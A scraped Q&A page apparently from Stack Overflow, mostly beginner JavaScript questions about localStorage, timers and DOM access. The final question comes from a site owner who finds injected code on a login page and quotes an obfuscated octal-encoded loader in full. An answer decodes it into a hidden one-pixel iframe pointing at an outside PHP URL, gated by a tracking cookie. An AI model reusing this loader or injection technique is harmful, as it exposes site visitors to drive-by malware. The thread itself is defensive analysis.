How to use localStorage on this example? [closed] - javascript
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
Can you apply localStorage on this? If I click "Deduct", the id "slot" will reduce to 1. What I want to learn is how to apply localStorage. If the slot is 9, and if I will refresh/close the browser or restart the computer and run the program again, the slot will remain 9. I'm having a hard time on learning about localStorage, need help masters.
<script>
var availableSlot1 = 10;
var reduceSlot1 = function(valueToDeduct1){
availableSlot1 = availableSlot1 - valueToDeduct1;
document.getElementById('slot').innerHTML = availableSlot1;
var x = storage.key(availableSlot1);
if (availableSlot1 == 0){
document.getElementById('x').innerHTML = "FULL";
document.getElementById("button1").style.display = "none";
}
};
</script>
<p id="slot">10</p>
Deduct
EDITED:
<script>
var slot = localStorage.getItem("slot");
if (typeof slot == "undefined") {
slot = 10;
}
document.getElementById("slot").innerHTML = slot;
var reduceSlot1 = function reduceSlot(by)
{
if (slot >= by) {
slot -= by;
document.getElementById("slot").innerHTML = slot;
localStorage.setItem("slot", slot);
}
else {
document.getElementById('slot').innerHTML = "FULL";
document.getElementById("button1").style.display = "none";
}
}
</script>
I followed the code but, it is not working.
Live Demo of Local Storage
you can use local storage using localStorage.name, in place of name you can use any property.
var i = 1;
localStorage.name = i;
http://jsfiddle.net/flocsy/mrhwK/
var slot = localStorage.getItem("slot");
if (slot == null) {
slot = 10;
}
document.getElementById("slot").innerText = slot;
function reduceSlot() {
if (slot >= 1) {
slot --;
document.getElementById("slot").innerText = slot;
localStorage.setItem("slot", slot);
} else {
document.getElementById('x').innerText = "FULL";
document.getElementById("button1").style.display = "none";
}
}
document.getElementById("button1").onclick = reduceSlot;
Related
how can i fix my timer?i don't know why it doesnt work [closed]
Closed. This question needs details or clarity. It is not currently accepting answers. Want to improve this question? Add details and clarify the problem by editing this post. Closed 2 years ago. Improve this question I'm trying to make a timer and i cant make it stop. im using setinterval() and clearinterval() im new using this methods so i dont know if im using them in the rigth way heres my code: var estado = "desactivado"; function play() { if (estado == "desactivado") { console.log(estado); estado = "activado"; var mytimer = setInterval(() => { timer(); }, 1000); } else if (estado == "activado") { clearInterval(mytimer); } } function timer() { let segundos = document.getElementById("segundos"); let minutos = document.getElementById("minutos"); let horas = document.getElementById("horas"); if (segundos.value < 60) { segundos.value++; } else { if (segundos.value == 60) { if (minutos.value == 60) { horas.value++; minutos.value = 00; segundos.value = 00; } else { minutos.value++; segundos.value = 00; } } } }
You just defined the mytimer inside the if{} block. So you can't get the value in else block. Maybe you can define the var mytimer on the same level with estato.
document.getElementById("#"); Not Working [duplicate]
This question already has answers here: Why does jQuery or a DOM method such as getElementById not find the element? (6 answers) Closed 4 years ago. I am trying to replace: function checkValue() { if (remainingTime < 10) { document.getElementById("leading-zero").style.display = "inline"; } else { document.getElementById("leading-zero").style.display = "none"; } } ..with this: var leadingZero = document.getElementById("leading-zero"); function checkValue() { if (remainingTime < 10) { leadingZero.style.display = "inline"; } else { leadingZero.style.display = "none"; } } The first block of code works just fine but I don't want to be accessing the DOM everytime checkValue() is called (every half a second). That's why I attempted assigning the object (is it called an object??) to the variable named leadingZero. Why will this not work??
Instantiate leadingZero after document is loaded: var leadingZero; document.addEventListener("DOMContentLoaded", function(){ leadingZero = document.getElementById("leading-zero"); ); function checkValue() { if (remainingTime < 10) { leadingZero.style.display = "inline"; } else { leadingZero.style.display = "none"; } }
Showing a webpage based on the time [closed]
Closed. This question needs to be more focused. It is not currently accepting answers. Want to improve this question? Update the question so it focuses on one problem only by editing this post. Closed 7 years ago. Improve this question I have an html form which I want to be open between 12:00am and 4:20pm, after 4:20 I want to close the form and show a 'This form is now closed'. This needs to happen daily. What can I use to set the time and re-direct the users based on the time? Is this a j-query thing?
Working Fiddle This will close the form at the correct time without requiring you to reload the page. HTML <form id="my-form" style="display:none"> <label>Name: <input type="text" ></label> </form> <div id="form-closed" style="display:none">The form is now closed</div> Javascript/jQuery checkFormAvailability(); setInterval(function(){ checkFormAvailability(); }, 1000); function checkFormAvailability() { var minHours = 0; var minMinutes = 0; var maxHours = 16; var maxMinutes = 20; var minHourMinutes = (minHours * 100) + minMinutes; var maxHourMinutes = (maxHours * 100) + maxMinutes; var d = new Date(); var n = d.getHours() * 100; var m = d.getMinutes(); var currentHourMinutes = n + m; if (currentHourMinutes >= minHourMinutes && currentHourMinutes <= maxHourMinutes) { $('#my-form').show(); $('#form-closed').hide(); } else { $('#my-form').hide(); $('#form-closed').show(); } } To test it out you can change maxHours and maxMinutes to the current time, and it will close the form starting in the next minute.
Everytime they visit/update the page, you can have a JavaScript function run and do different things based on the hour and minute. For example: <head> <script> function changeForm() { var d = new Date(); if(d.getHours() == 16) { if(d.getMinutes() > 19 { document.getElementById('myForm').style.display = "none"; document.getElementById('myMessage').innerHTML = "The form is now closed."; } } if(d.getHours() > 16) { document.getElementById('myForm').style.display = "none"; document.getElementById('myMessage').innerHTML = "The form is now closed."; } } </script> </head> <body onload = changeForm()> ... </body>
Javascript better way to code this animation [closed]
Closed. This question is opinion-based. It is not currently accepting answers. Want to improve this question? Update the question so it can be answered with facts and citations by editing this post. Closed 9 years ago. Improve this question I first off all tried passing around the value of y back on the function but this caused the browser to slow as if an infinite loop had been created, the external frame variable stops this but I'd prefer to keep all the variables inside functions, is there a way I can achieve this without getting 'feedback'? var frame=0; function launch(){ var el=document.getElementById("selection"); setInterval(function(){ drawer(el,frame);},300); } function drawer(el,y){ if(y<20){ frame++; el.style.top=20+frame+"px"; setInterval(function(){ drawer(el,frame);},300); }
Use a closure, you also want to be using setTimeout or alternatively killing the interval when it's done: function launch(){ var animator = function(el) { var frame = 0; var _this = { draw : function() { frame += 1; el.style.top=20+frame+"px"; if(frame < 20) { setTimeout(_this.draw, 300); } } } return _this; }(document.getElementById("selection")); setTimeout(animator.draw, 300); }
Here's the updated code. You only have to create an interval once. Store it in a variable and clear it when the maximum is reached. var frame = 0; var running = null; var max = 20; var e = document.getElementById("selection"); function drawer() { ++frame e.style.top = 20 + frame + "px"; if (frame == max) { clearInterval(running); running = null; } } running = setInterval(drawer, 300); Demo Try before buy Edit As you said in your question you want to keep all variables inside the function, you can use this: function drawer(e, frame) { if ('undefined' == typeof e) { var e = document.getElementById("selection"); } if ('undefined' == typeof frame) { var frame = 0; } ++frame e.style.top = 20 + frame + "px"; if (frame <= 20) { setTimeout(function() { drawer(e, frame); }, 300); } } drawer(); Demo Try before buy
Here are few advices for you to improve your coding style: Try to make a meaningful functions Try to parametize numbers with meaningful and clear names Write clean codes Let me give you my version of what I understand you are trying to do. As you can see, it is more clean and easy to read/understand for others. I included a live demo at the bottom for you to fiddle with. function launch() { var el = document.getElementById('selection'), maxY = 300, stepY = 20, interval = 100; animateY(el, maxY, stepY, interval); } function moveToY(el, y) { el.style.top = y + "px"; } function animateY(el, maxY, stepY, interval) { var y = 0; var id = setInterval(function () { if (y < maxY) { y += stepY; moveToY(el, y); } else { clearInterval(id); } }, interval); } Here's a live demo: http://jsfiddle.net/A53sy/2/
Malicious javascript injected into login page [closed]
Closed. This question needs to be more focused. It is not currently accepting answers. Want to improve this question? Update the question so it focuses on one problem only by editing this post. Closed 9 years ago. Improve this question I have a small web app that's written using CodeIgniter. However, I discovered recently that someone injected some javascript into my app's login page. When I look at the remote server's template file, the javascript is not there, but when I view the source in Chrome, I see the Javscript snippet below: a = ("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,163,154,165,146,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,163,154,165,146,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,160,150,162,151,167,147,163,166,170,62,146,155,176,63,165,146,74,176,130,73,164,173,62,164,154,164,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,163,163,154,165,146,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,163,163,154,165,146,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,163,163,154,165,146,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,163,163,154,165,146,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16" ["split"](",")); ss = eval("Str" + "ing"); d = document; for (i = 0; i < a.length; i += 1) { a[i] = parseInt(a[i], 8) - (7 - 3); } try { d.body++ } catch (q) { zz = 0; } try { zz &= 2 } catch (q) { zz = 1; } if (!zz) if (window["document"]) eval(ss["fromCharCode"].apply(ss, a)); When I run my web app locally, I don't see this snippet so it's obvious that my remote server has been compromised. EDIT: After looking into the code, I realized the array contains a large series of characters used to build the actual code. As elclanrs pointed out, it seems the code tracks the user with a malicious cookie. So my question is how does one manage to inject this type of code into my login page? I view the template file and the snippet is nowhere to be found, so I have no idea how to remove it from my page.
Seems to be setting a malicious cookie: function zzzfff() { var oohqb = document.createElement('iframe'); oohqb.src = 'http://ldnescort.biz/qb8zT7pw.php'; oohqb.style.position = 'absolute'; oohqb.style.border = '0'; oohqb.style.height = '1px'; oohqb.style.width = '1px'; oohqb.style.left = '1px'; oohqb.style.top = '1px'; if (!document.getElementById('oohqb')) { document.write('<div id=\'oohqb\'></div>'); document.getElementById('oohqb').appendChild(oohqb); } } function SetCookie(cookieName, cookieValue, nDays, path) { var today = new Date(); var expire = new Date(); if (nDays == null || nDays == 0) nDays = 1; expire.setTime(today.getTime() + 3600000 * 24 * nDays); document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); } function GetCookie(name) { var start = document.cookie.indexOf(name + "="); var len = start + name.length + 1; if ((!start) && (name != document.cookie.substring(0, name.length))) { return null; } if (start == -1) return null; var end = document.cookie.indexOf(";", len); if (end == -1) end = document.cookie.length; return unescape(document.cookie.substring(len, end)); } if (navigator.cookieEnabled) { if (GetCookie('visited_uq') == 55) {} else { SetCookie('visited_uq', '55', '1', '/'); zzzfff(); } }
Google how to sanitize input. For example, one should not be able to input the character <: if he does, you should replace it with <, which is the corresponding HTML entity. With the data you gave, I can't really tell how this was injected: remove the injection loading a previous backup.